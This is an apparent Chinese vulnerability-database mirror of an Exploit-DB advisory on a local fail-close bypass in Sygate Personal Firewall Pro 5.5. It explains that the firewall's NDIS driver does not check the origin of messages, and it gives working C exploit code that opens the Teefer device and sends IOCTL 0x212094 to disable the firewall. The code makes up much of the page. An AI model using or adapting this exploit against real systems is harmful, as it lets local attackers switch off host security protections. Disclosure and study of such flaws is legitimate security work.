Sygate Personal Firewall Pro 5.5 - Local Fail-Close Bypass

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1054495 漏洞类型
发布时间 2004-06-14 更新时间 2004-06-14
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24200
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10540/info

A vulnerability is reported to affect the Sygate Personal Firewall fail-closed functionality. It is reported that the kernel-space NDIS driver does not verify the origin of messages that are received through the associated device. As a result of this it is possible for a local user to transmit a message to the kernel-space NDIS driver device in order to disable the firewall fail-closed functionality.

A local attacker may exploit this condition to disable the affected firewall completely.


	hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
			 NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 	if(hDevice == INVALID_HANDLE_VALUE)
	{
		printf("Open failed\n");
	}
	else
	{
		printf("Device opened.\n");
										
		char buffer[8];
		DWORD *ptr = (DWORD *)buffer;
		DWORD *ptr2 = (DWORD *)(buffer + 4);
		DWORD ret;

		*ptr = 0;
		*ptr2 = 0;
			
		if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
			printf("Sent.\n");
												
		CloseHandle(hDevice);
	}